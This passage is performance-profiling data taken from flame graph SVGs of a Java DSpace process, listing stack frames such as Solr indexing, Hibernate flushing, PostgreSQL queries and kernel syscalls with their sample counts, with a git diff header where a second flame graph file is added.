+org/dspace/storage/rdbms/DatabaseManager:::queryTable (2 samples, 0.45%) + + + +tcp_rcv_state_process (1 samples, 0.23%) + + + +jbyte_arraycopy (1 samples, 0.23%) + + + +__x64_sys_mprotect (1 samples, 0.23%) + + + +pthread_cond_timedwait@@GLIBC_2.3.2 (25 samples, 5.68%) +pthread.. + + +[libjvm.so] (1 samples, 0.23%) + + + +__x64_sys_futex (8 samples, 1.82%) +_.. + + +[libjvm.so] (1 samples, 0.23%) + + + +[libjvm.so] (189 samples, 42.95%) +[libjvm.so] + + +org/dspace/servicemanager/DSpaceServiceManager:::getServicesByType (28 samples, 6.36%) +org/dspa.. + + +org/apache/commons/logging/LogFactory$1:::run (2 samples, 0.45%) + + + +org/apache/solr/common/util/JavaBinCodec:::readVal (1 samples, 0.23%) + + + +start_thread (3 samples, 0.68%) + + + +__perf_event_task_sched_in (4 samples, 0.91%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (1 samples, 0.23%) + + + +[libjvm.so] (19 samples, 4.32%) +[libj.. + + +org/springframework/core/convert/support/GenericConversionService:::getSourceConverterMap (1 samples, 0.23%) + + + +__intel_pmu_enable_all.constprop.0 (4 samples, 0.91%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +native_write_msr (16 samples, 3.64%) +nati.. + + +org/postgresql/core/v3/QueryExecutorImpl:::sendSync (1 samples, 0.23%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (3 samples, 0.68%) + + + +call_stub (1 samples, 0.23%) + + + +native_write_msr (4 samples, 0.91%) + + + +Ljava/lang/ref/Finalizer$FinalizerThread:::run (1 samples, 0.23%) + + + +__x64_sys_sendto (40 samples, 9.09%) +__x64_sys_sen.. + + +org/springframework/beans/PropertyEditorRegistrySupport:::createDefaultEditors (26 samples, 5.91%) +org/spr.. + + +finish_task_switch (12 samples, 2.73%) +fi.. + + +org/dspace/content/Collection:::groupFromColumn (1 samples, 0.23%) + + + +net_rx_action (16 samples, 3.64%) +net_.. + + +[libjvm.so] (1 samples, 0.23%) + + + +entry_SYSCALL_64 (8 samples, 1.82%) +e.. + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (1 samples, 0.23%) + + + +org/springframework/beans/factory/support/DefaultSingletonBeanRegistry:::getSingleton (2 samples, 0.45%) + + + +entry_SYSCALL_64 (1 samples, 0.23%) + + + +inet_stream_connect (1 samples, 0.23%) + + + +__perf_event_task_sched_in (4 samples, 0.91%) + + + +entry_SYSCALL_64 (8 samples, 1.82%) +e.. + + +org/dspace/discovery/BitstreamContentStream:::getStream (2 samples, 0.45%) + + + +org/apache/http/entity/mime/FormBodyPart:::<init> (1 samples, 0.23%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (2 samples, 0.45%) + + + +java/util/regex/Pattern$GroupHead:::match (2 samples, 0.45%) + + + +__perf_event_task_sched_in (8 samples, 1.82%) +_.. + + +org/dspace/discovery/SolrServiceImpl:::unIndexContent (15 samples, 3.41%) +org.. + + +org/apache/http/impl/client/EntityEnclosingRequestWrapper$EntityWrapper:::writeTo (2 samples, 0.45%) + + + +[libjvm.so] (3 samples, 0.68%) + + + +hrtimer_start_range_ns (1 samples, 0.23%) + + + +rb_insert_color (1 samples, 0.23%) + + + +do_softirq.part.0 (19 samples, 4.32%) +do_so.. + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (15 samples, 3.41%) +org.. + + +[libjvm.so] (6 samples, 1.36%) + + + +java/util/regex/Pattern:::sequence (3 samples, 0.68%) + + + +[libjava.so] (1 samples, 0.23%) + + + +do_syscall_64 (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (1 samples, 0.23%) + + + +org/springframework/core/env/AbstractEnvironment:::<init> (25 samples, 5.68%) +org/spr.. + + +do_syscall_64 (13 samples, 2.95%) +do.. + + +java/util/Collections$SynchronizedCollection:::add (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +nf_nat_ipv4_out (1 samples, 0.23%) + + + +java/util/concurrent/ConcurrentHashMap:::putVal (1 samples, 0.23%) + + + +Interpreter (1 samples, 0.23%) + + + +org/dspace/browse/BrowseIndex:::getTableName (1 samples, 0.23%) + + + +java/security/AccessController:::doPrivileged (1 samples, 0.23%) + + + +org/apache/http/entity/mime/AbstractMultipartForm:::doWriteTo (2 samples, 0.45%) + + + +org/apache/solr/client/solrj/util/ClientUtils:::writeVal (14 samples, 3.18%) +org.. + + +JVM_FillInStackTrace (1 samples, 0.23%) + + + +jshort_disjoint_arraycopy (1 samples, 0.23%) + + + +native_write_msr (8 samples, 1.82%) +n.. + + +org/dspace/content/DSpaceObject$MetadataCache:::get (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +nft_immediate_eval (1 samples, 0.23%) + + + +entry_SYSCALL_64 (1 samples, 0.23%) + + + +java/util/regex/Pattern$GroupHead:::match (2 samples, 0.45%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +org/springframework/core/env/StandardEnvironment:::customizePropertySources (13 samples, 2.95%) +or.. + + +do_syscall_64 (1 samples, 0.23%) + + + +futex_wait (13 samples, 2.95%) +fu.. + + +__poll (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (2 samples, 0.45%) + + + +pthread_cond_timedwait@@GLIBC_2.3.2 (13 samples, 2.95%) +pt.. + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::receiveResponseEntity (1 samples, 0.23%) + + + +org/dspace/content/DSpaceObject:::getMetadata (1 samples, 0.23%) + + + +__x64_sys_mprotect (1 samples, 0.23%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +[libjvm.so] (19 samples, 4.32%) +[libj.. + + +org/dspace/content/Item:::find (2 samples, 0.45%) + + + +__libc_connect (1 samples, 0.23%) + + + +__vsnprintf_internal (1 samples, 0.23%) + + + +__tcp_push_pending_frames (33 samples, 7.50%) +__tcp_push.. + + +[libjvm.so] (1 samples, 0.23%) + + + +finish_task_switch (16 samples, 3.64%) +fini.. + + +[libjvm.so] (189 samples, 42.95%) +[libjvm.so] + + +java/util/concurrent/ConcurrentHashMap:::putVal (1 samples, 0.23%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (1 samples, 0.23%) + + + +_raw_spin_unlock (1 samples, 0.23%) + + + +java/lang/String:::equals (2 samples, 0.45%) + + + +org/dspace/discovery/configuration/DiscoverySearchFilter:::getIndexFieldName (1 samples, 0.23%) + + + +org/dspace/app/util/DailyFileAppender:::subAppend (2 samples, 0.45%) + + + +__sys_recvfrom (21 samples, 4.77%) +__sys.. + + +[libjvm.so] (2 samples, 0.45%) + + + +__this_cpu_preempt_check (1 samples, 0.23%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (1 samples, 0.23%) + + + +finish_task_switch (16 samples, 3.64%) +fini.. + + +[libjvm.so] (1 samples, 0.23%) + + + +Java_java_net_PlainSocketImpl_socketConnect (1 samples, 0.23%) + + + +smp_apic_timer_interrupt (1 samples, 0.23%) + + + +org/apache/log4j/helpers/PatternParser$NamedPatternConverter:::convert (1 samples, 0.23%) + + + +preempt_count_sub (1 samples, 0.23%) + + + +org/apache/commons/dbcp/PoolingConnection$PStmtKey:::hashCode (1 samples, 0.23%) + + + +entry_SYSCALL_64 (22 samples, 5.00%) +entry_.. + + +java/util/AbstractCollection:::toArray (1 samples, 0.23%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (4 samples, 0.91%) + + + +__release_sock (1 samples, 0.23%) + + + +java/util/regex/Pattern$Node:::match (1 samples, 0.23%) + + + +arrayof_jint_fill (1 samples, 0.23%) + + + +update_rq_clock (1 samples, 0.23%) + + + +Reference_Handl (10 samples, 2.27%) +R.. + + +Interpreter (189 samples, 42.95%) +Interpreter + + +itable stub (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +switch_fpu_return (1 samples, 0.23%) + + + +__schedule (18 samples, 4.09%) +__sc.. + + +java/util/regex/Pattern$BmpCharProperty:::match (2 samples, 0.45%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (1 samples, 0.23%) + + + +java/lang/String:::toLowerCase (1 samples, 0.23%) + + + +blk_mq_end_request (1 samples, 0.23%) + + + +__perf_event_task_sched_in (16 samples, 3.64%) +__pe.. + + +java/lang/Throwable:::fillInStackTrace (1 samples, 0.23%) + + + +update_load_avg.constprop.0 (1 samples, 0.23%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +do_syscall_64 (1 samples, 0.23%) + + + +java/util/regex/Pattern$GroupHead:::match (2 samples, 0.45%) + + + +java/lang/StackTraceElement:::toString (1 samples, 0.23%) + + + +org/springframework/core/GenericTypeResolver:::doResolveTypeArguments (1 samples, 0.23%) + + + +update_curr (1 samples, 0.23%) + + + +nf_nat_ipv4_local_fn (1 samples, 0.23%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::request (10 samples, 2.27%) +o.. + + +java/util/Properties:::getProperty (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +java/lang/reflect/Proxy$Key1:::equals (1 samples, 0.23%) + + + +__send (47 samples, 10.68%) +__send + + +org/springframework/beans/factory/support/DefaultListableBeanFactory:::getBeansOfType (28 samples, 6.36%) +org/spri.. + + +sun/net/spi/DefaultProxySelector$3:::run (1 samples, 0.23%) + + + +schedule (13 samples, 2.95%) +sc.. + + +[libjvm.so] (1 samples, 0.23%) + + + +java/util/regex/Pattern:::group0 (2 samples, 0.45%) + + + +pthread_cond_wait@@GLIBC_2.3.2 (4 samples, 0.91%) + + + +java/util/regex/Pattern:::sequence (1 samples, 0.23%) + + + +org/apache/http/impl/io/AbstractMessageWriter:::write (1 samples, 0.23%) + + + +org/dspace/browse/BrowseIndex:::getBrowseIndices (6 samples, 1.36%) + + + +java/util/HashMap:::put (1 samples, 0.23%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +org/springframework/core/convert/support/GenericConversionService:::addConverterFactory (1 samples, 0.23%) + + + +java/util/Date:::toString (1 samples, 0.23%) + + + +__check_object_size (1 samples, 0.23%) + + + +org/dspace/core/Context:::init (2 samples, 0.45%) + + + +__schedule (12 samples, 2.73%) +__.. + + +org/dspace/browse/BrowseIndex:::<init> (6 samples, 1.36%) + + + +do_syscall_64 (25 samples, 5.68%) +do_sysc.. + + +entry_SYSCALL_64 (1 samples, 0.23%) + + + +change_protection (1 samples, 0.23%) + + + +futex_wait (17 samples, 3.86%) +fute.. + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::predictBeanType (3 samples, 0.68%) + + + +java/util/regex/Pattern$GroupTail:::match (2 samples, 0.45%) + + + +__schedule (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (3 samples, 0.68%) + + + +[libjvm.so] (5 samples, 1.14%) + + + +org/dspace/content/Item:::getBundles (4 samples, 0.91%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +org/apache/commons/pool/impl/GenericKeyedObjectPool:::borrowObject (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +tcp_rcv_established (6 samples, 1.36%) + + + +java/util/regex/Pattern:::compile (4 samples, 0.91%) + + + +nf_nat_inet_fn (1 samples, 0.23%) + + + +entry_SYSCALL_64 (1 samples, 0.23%) + + + +nf_conntrack_in (1 samples, 0.23%) + + + +org/apache/http/impl/io/SocketInputBuffer:::isDataAvailable (2 samples, 0.45%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +native_write_msr (4 samples, 0.91%) + + + +scheduler_tick (1 samples, 0.23%) + + + +[libjvm.so] (11 samples, 2.50%) +[l.. + + +futex_wait_queue_me (48 samples, 10.91%) +futex_wait_queue.. + + +[libjvm.so] (2 samples, 0.45%) + + + +vtable stub (1 samples, 0.23%) + + + +schedule (25 samples, 5.68%) +schedule + + +futex_wait_queue_me (16 samples, 3.64%) +fute.. + + +do_syscall_64 (48 samples, 10.91%) +do_syscall_64 + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (1 samples, 0.23%) + + + + diff --git a/docs/2020/02/flamegraph-java-cli-dspace64-snapshot.svg b/docs/2020/02/flamegraph-java-cli-dspace64-snapshot.svg new file mode 100644 index 000000000..1d7b64546 --- /dev/null +++ b/docs/2020/02/flamegraph-java-cli-dspace64-snapshot.svg @@ -0,0 +1,4540 @@ + + + + + + + + + + + + + + +Flame Graph + +Reset Zoom +Search +ic + + + +[libjvm.so] (77 samples, 11.39%) +[libjvm.so] + + +[libjvm.so] (3 samples, 0.44%) + + + +java/util/regex/Pattern$Curly:::match (1 samples, 0.15%) + + + +java/util/ArrayList:::iterator (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (1 samples, 0.15%) + + + +do_softirq_own_stack (6 samples, 0.89%) + + + +__poll (4 samples, 0.59%) + + + +org/apache/solr/client/solrj/request/UpdateRequest:::writeXML (2 samples, 0.30%) + + + +Reference_Handl (11 samples, 1.63%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (7 samples, 1.04%) + + + +__GI___libc_write (1 samples, 0.15%) + + + +org/apache/log4j/helpers/AppenderAttachableImpl:::appendLoopOnAppenders (3 samples, 0.44%) + + + +ctx_sched_in (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/hibernate/engine/internal/Cascade:::cascade (4 samples, 0.59%) + + + +vtable stub (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareCollectionFlushes (1 samples, 0.15%) + + + +do_softirq_own_stack (1 samples, 0.15%) + + + +org/apache/commons/configuration/tree/DefaultExpressionEngine:::findNodesForKey (1 samples, 0.15%) + + + +do_syscall_64 (59 samples, 8.73%) +do_syscall_64 + + +java/net/SocketTimeoutException:::<init> (1 samples, 0.15%) + + + +do_syscall_64 (15 samples, 2.22%) +d.. + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.15%) + + + +com/sun/proxy/$Proxy40:::isDirty (17 samples, 2.51%) +co.. + + +sock_def_readable (2 samples, 0.30%) + + + +do_syscall_64 (4 samples, 0.59%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (3 samples, 0.44%) + + + +org/hibernate/event/internal/FlushVisitor:::processCollection (5 samples, 0.74%) + + + +org/apache/commons/dbcp2/DelegatingPreparedStatement:::executeQuery (1 samples, 0.15%) + + + +org/hibernate/loader/Loader:::initializeEntitiesAndCollections (1 samples, 0.15%) + + + +org/hibernate/internal/SessionImpl:::tryNaturalIdLoadAccess (1 samples, 0.15%) + + + +entry_SYSCALL_64 (2 samples, 0.30%) + + + +java/util/HashMap:::put (1 samples, 0.15%) + + + +org/apache/commons/configuration/tree/DefaultConfigurationKey$KeyIterator:::nextDelimiterPos (1 samples, 0.15%) + + + +entry_SYSCALL_64 (1 samples, 0.15%) + + + +native_write_msr (4 samples, 0.59%) + + + +org/dspace/content/comparator/NameAscendingComparator:::compare (1 samples, 0.15%) + + + +tcp_sendmsg (11 samples, 1.63%) + + + +hrtimer_interrupt (1 samples, 0.15%) + + + +__sys_recvfrom (16 samples, 2.37%) +_.. + + +org/hibernate/event/internal/DefaultSaveOrUpdateEventListener:::onSaveOrUpdate (3 samples, 0.44%) + + + +org/apache/http/protocol/HttpRequestExecutor:::preProcess (2 samples, 0.30%) + + + +nf_hook_slow (3 samples, 0.44%) + + + +do_syscall_64 (1 samples, 0.15%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (1 samples, 0.15%) + + + +__x64_sys_poll (1 samples, 0.15%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (3 samples, 0.44%) + + + +start_thread (3 samples, 0.44%) + + + +org/apache/commons/configuration/CombinedConfiguration:::fetchNodeList (5 samples, 0.74%) + + + +org/apache/http/protocol/HttpRequestExecutor:::execute (3 samples, 0.44%) + + + +start_thread (379 samples, 56.07%) +start_thread + + +org/hibernate/collection/internal/PersistentBag:::beforeInitialize (1 samples, 0.15%) + + + +org/apache/commons/dbcp2/DelegatingConnection:::prepareStatement (1 samples, 0.15%) + + + +itable stub (4 samples, 0.59%) + + + +pthread_cond_wait@@GLIBC_2.3.2 (13 samples, 1.92%) +p.. + + +org/hibernate/persister/entity/AbstractEntityPersister:::selectFragment (1 samples, 0.15%) + + + +org/hibernate/type/CollectionType:::isCollectionType (1 samples, 0.15%) + + + +__ip_queue_xmit (1 samples, 0.15%) + + + +__perf_event_task_sched_in (17 samples, 2.51%) +__.. + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (1 samples, 0.15%) + + + +org/hibernate/type/AbstractStandardBasicType:::isDirty (1 samples, 0.15%) + + + +__wake_up_sync_key (1 samples, 0.15%) + + + +org/dspace/eperson/Group_$$_jvst722_1e:::getHibernateLazyInitializer (1 samples, 0.15%) + + + +java/util/HashMap:::put (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (4 samples, 0.59%) + + + +[unknown] (17 samples, 2.51%) +[u.. + + +org/hibernate/type/EntityType:::isEntityType (1 samples, 0.15%) + + + +entry_SYSCALL_64 (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +java/net/SocketInputStream:::socketRead0 (5 samples, 0.74%) + + + +[libjvm.so] (3 samples, 0.44%) + + + +org/hibernate/event/internal/FlushVisitor:::processCollection (2 samples, 0.30%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::request (7 samples, 1.04%) + + + +org/apache/log4j/helpers/AppenderAttachableImpl:::appendLoopOnAppenders (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/apache/http/cookie/CookieSpecRegistry:::getCookieSpec (1 samples, 0.15%) + + + +org/hibernate/persister/collection/AbstractCollectionPersister:::getElementPersister (1 samples, 0.15%) + + + +java/util/regex/Pattern$GroupHead:::match (1 samples, 0.15%) + + + +org/hibernate/engine/internal/Cascade:::cascade (5 samples, 0.74%) + + + +org/hibernate/type/AbstractStandardBasicType:::isComponentType (1 samples, 0.15%) + + + +java/util/regex/Pattern$BmpCharProperty:::match (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultSaveOrUpdateEventListener:::onSaveOrUpdate (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultLoadEventListener:::onLoad (2 samples, 0.30%) + + + +org/hibernate/loader/Loader:::loadCollection (7 samples, 1.04%) + + + +org/hibernate/event/internal/FlushVisitor:::processCollection (2 samples, 0.30%) + + + +org/hibernate/internal/SessionImpl:::fireEvict (1 samples, 0.15%) + + + +org/apache/log4j/Category:::forcedLog (1 samples, 0.15%) + + + +org/dspace/discovery/configuration/DiscoverySearchFilter:::getIndexFieldName (1 samples, 0.15%) + + + +java/util/regex/Pattern$Curly:::match (1 samples, 0.15%) + + + +[libjvm.so] (2 samples, 0.30%) + + + +[libjvm.so] (372 samples, 55.03%) +[libjvm.so] + + +org/apache/http/impl/io/AbstractSessionInputBuffer:::fillBuffer (5 samples, 0.74%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (3 samples, 0.44%) + + + +org/dspace/app/util/DailyFileAppender:::subAppend (1 samples, 0.15%) + + + +org/hibernate/loader/criteria/CriteriaLoader:::<init> (2 samples, 0.30%) + + + +org/apache/http/protocol/HttpRequestExecutor:::doSendRequest (2 samples, 0.30%) + + + +java/net/SocketInputStream:::read (5 samples, 0.74%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::isDirty (1 samples, 0.15%) + + + +__schedule (4 samples, 0.59%) + + + +org/apache/commons/configuration/HierarchicalConfiguration:::containsKey (5 samples, 0.74%) + + + +org/springframework/beans/factory/support/DefaultListableBeanFactory:::getBeansOfType (2 samples, 0.30%) + + + +java/util/regex/Pattern$BmpCharProperty:::match (1 samples, 0.15%) + + + +java/util/Arrays:::sort (1 samples, 0.15%) + + + +__schedule (12 samples, 1.78%) + + + +org/hibernate/loader/Loader:::getRowFromResultSet (1 samples, 0.15%) + + + +finish_task_switch (18 samples, 2.66%) +fi.. + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::initializeBean (2 samples, 0.30%) + + + +org/hibernate/type/AbstractStandardBasicType:::isDirty (1 samples, 0.15%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::isStale (5 samples, 0.74%) + + + +set_task_cpu (1 samples, 0.15%) + + + +tcp_v4_rcv (2 samples, 0.30%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +java/util/regex/Pattern$GroupTail:::match (1 samples, 0.15%) + + + +VM_Periodic_Tas (22 samples, 3.25%) +VM_.. + + +org/apache/log4j/helpers/PatternConverter:::format (1 samples, 0.15%) + + + +native_write_msr (16 samples, 2.37%) +n.. + + +ext4_file_write_iter (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (2 samples, 0.30%) + + + +itable stub (1 samples, 0.15%) + + + +pthread_cond_timedwait@@GLIBC_2.3.2 (20 samples, 2.96%) +pt.. + + +org/dspace/content/Item_$$_jvst722_4:::getHandle (2 samples, 0.30%) + + + +usb_giveback_urb_bh (1 samples, 0.15%) + + + +[libjvm.so] (78 samples, 11.54%) +[libjvm.so] + + +java/util/ArrayList:::iterator (1 samples, 0.15%) + + + +org/dspace/discovery/SolrServiceImpl:::unIndexContent (7 samples, 1.04%) + + + +__x64_sys_futex (12 samples, 1.78%) + + + +[unknown] (61 samples, 9.02%) +[unknown] + + +org/hibernate/collection/internal/PersistentSet:::toArray (1 samples, 0.15%) + + + +org/dspace/content/comparator/NameAscendingComparator:::compare (1 samples, 0.15%) + + + +[libjvm.so] (2 samples, 0.30%) + + + +itable stub (4 samples, 0.59%) + + + +nf_ct_deliver_cached_events (1 samples, 0.15%) + + + +Interpreter (1 samples, 0.15%) + + + +org/hibernate/internal/SessionImpl:::evict (1 samples, 0.15%) + + + +switch_fpu_return (1 samples, 0.15%) + + + +entry_SYSCALL_64 (34 samples, 5.03%) +entry_.. + + +ktime_get_ts64 (1 samples, 0.15%) + + + +org/hibernate/engine/spi/CascadingAction:::requiresNoCascadeChecking (1 samples, 0.15%) + + + +psi_task_change (1 samples, 0.15%) + + + +pthread_cond_timedwait@@GLIBC_2.3.2 (34 samples, 5.03%) +pthrea.. + + +[libjvm.so] (1 samples, 0.15%) + + + +org/hibernate/type/descriptor/java/AbstractTypeDescriptor:::areEqual (1 samples, 0.15%) + + + +org/hibernate/collection/internal/PersistentList:::readFrom (1 samples, 0.15%) + + + +org/apache/http/entity/mime/MultipartEntity:::writeTo (2 samples, 0.30%) + + + +org/apache/http/impl/entity/EntityDeserializer:::doDeserialize (1 samples, 0.15%) + + + +org/dspace/discovery/FullTextContentStreams:::getStream (4 samples, 0.59%) + + + +org/hibernate/type/ManyToOneType:::isDirty (1 samples, 0.15%) + + + +itable stub (1 samples, 0.15%) + + + +jshort_disjoint_arraycopy (1 samples, 0.15%) + + + +org/hibernate/internal/SessionImpl:::listeners (1 samples, 0.15%) + + + +org/apache/commons/configuration/MapConfiguration:::getProperty (1 samples, 0.15%) + + + +__netif_receive_skb_one_core (6 samples, 0.89%) + + + +org/apache/log4j/AppenderSkeleton:::doAppend (3 samples, 0.44%) + + + +_complete_monitor_locking_Java (1 samples, 0.15%) + + + +org/hibernate/internal/SessionImpl:::isDirty (83 samples, 12.28%) +org/hibernate/inte.. + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareCollectionFlushes (2 samples, 0.30%) + + + +org/hibernate/engine/jdbc/internal/ResultSetReturnImpl:::extract (1 samples, 0.15%) + + + +__tcp_push_pending_frames (9 samples, 1.33%) + + + +java/util/AbstractMap:::get (3 samples, 0.44%) + + + +__intel_pmu_enable_all.constprop.0 (32 samples, 4.73%) +__int.. + + +__schedule (18 samples, 2.66%) +__.. + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::request (2 samples, 0.30%) + + + +native_write_msr (16 samples, 2.37%) +n.. + + +finish_task_switch (4 samples, 0.59%) + + + +tasklet_action_common.isra.0 (1 samples, 0.15%) + + + +org/hibernate/engine/internal/Cascade:::cascade (15 samples, 2.22%) +o.. + + +futex_wait_queue_me (18 samples, 2.66%) +fu.. + + +org/apache/log4j/WriterAppender:::subAppend (3 samples, 0.44%) + + + +hrtimer_interrupt (1 samples, 0.15%) + + + +__ip_queue_xmit (8 samples, 1.18%) + + + +timerqueue_add (1 samples, 0.15%) + + + +Java_java_lang_Throwable_fillInStackTrace (1 samples, 0.15%) + + + +__x64_sys_futex (4 samples, 0.59%) + + + +org/hibernate/loader/Loader:::prepareQueryStatement (1 samples, 0.15%) + + + +__schedule (55 samples, 8.14%) +__schedule + + +[libjvm.so] (3 samples, 0.44%) + + + +[libjvm.so] (7 samples, 1.04%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareCollectionFlushes (1 samples, 0.15%) + + + +java/lang/Throwable:::fillInStackTrace (1 samples, 0.15%) + + + +hrtimer_interrupt (1 samples, 0.15%) + + + +sock_sendmsg (12 samples, 1.78%) + + + +org/hibernate/type/descriptor/java/AbstractTypeDescriptor:::areEqual (1 samples, 0.15%) + + + +org/hibernate/engine/internal/StatefulPersistenceContext:::reassociateIfUninitializedProxy (2 samples, 0.30%) + + + +org/hibernate/context/internal/ThreadLocalSessionContext$TransactionProtectionWrapper:::invoke (40 samples, 5.92%) +org/hib.. + + +syscall_slow_exit_work (1 samples, 0.15%) + + + +JVM_IHashCode (2 samples, 0.30%) + + + +[libjvm.so] (76 samples, 11.24%) +[libjvm.so] + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (6 samples, 0.89%) + + + +org/hibernate/type/descriptor/java/AbstractTypeDescriptor:::areEqual (1 samples, 0.15%) + + + +org/apache/solr/client/solrj/request/QueryRequest:::process (2 samples, 0.30%) + + + +itable stub (2 samples, 0.30%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +try_to_wake_up (1 samples, 0.15%) + + + +start_thread (79 samples, 11.69%) +start_thread + + +org/hibernate/type/descriptor/java/AbstractTypeDescriptor:::areEqual (1 samples, 0.15%) + + + +java/lang/Throwable$WrappedPrintWriter:::println (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushCollections (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (54 samples, 7.99%) +org/hiberna.. + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (1 samples, 0.15%) + + + +entry_SYSCALL_64 (60 samples, 8.88%) +entry_SYSCAL.. + + +__tcp_transmit_skb (8 samples, 1.18%) + + + +nf_hook_slow (1 samples, 0.15%) + + + +Ljava/lang/ref/Reference:::tryHandlePending (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/dspace/util/MultiFormatDateParser:::parse (1 samples, 0.15%) + + + +__fdget_pos (1 samples, 0.15%) + + + +org/dspace/content/Item_$$_jvst722_4:::getCollections (2 samples, 0.30%) + + + +entry_SYSCALL_64 (4 samples, 0.59%) + + + +ext4_buffered_write_iter (1 samples, 0.15%) + + + +futex_wait (12 samples, 1.78%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (1 samples, 0.15%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (1 samples, 0.15%) + + + +__pthread_mutex_cond_lock (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +__x2apic_send_IPI_dest (1 samples, 0.15%) + + + +org/hibernate/proxy/pojo/javassist/JavassistLazyInitializer:::invoke (2 samples, 0.30%) + + + +org/hibernate/context/internal/ThreadLocalSessionContext$TransactionProtectionWrapper:::invoke (1 samples, 0.15%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::receiveResponseEntity (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushCollections (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (6 samples, 0.89%) + + + +__mprotect (2 samples, 0.30%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (50 samples, 7.40%) +org/hibern.. + + +org/hibernate/type/CollectionType:::isDirty (2 samples, 0.30%) + + + +do_syscall_64 (4 samples, 0.59%) + + + +__intel_pmu_enable_all.constprop.0 (52 samples, 7.69%) +__intel_pm.. + + +perf_event_update_userpage (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (10 samples, 1.48%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (2 samples, 0.30%) + + + +Interpreter (4 samples, 0.59%) + + + +org/dspace/discovery/SolrServiceImpl:::buildDocument (140 samples, 20.71%) +org/dspace/discovery/SolrService.. + + +org/hibernate/loader/Loader:::getRowFromResultSet (1 samples, 0.15%) + + + +entry_SYSCALL_64 (18 samples, 2.66%) +en.. + + +[libjvm.so] (79 samples, 11.69%) +[libjvm.so] + + +org/hibernate/internal/SessionImpl:::isDirty (40 samples, 5.92%) +org/hib.. + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (23 samples, 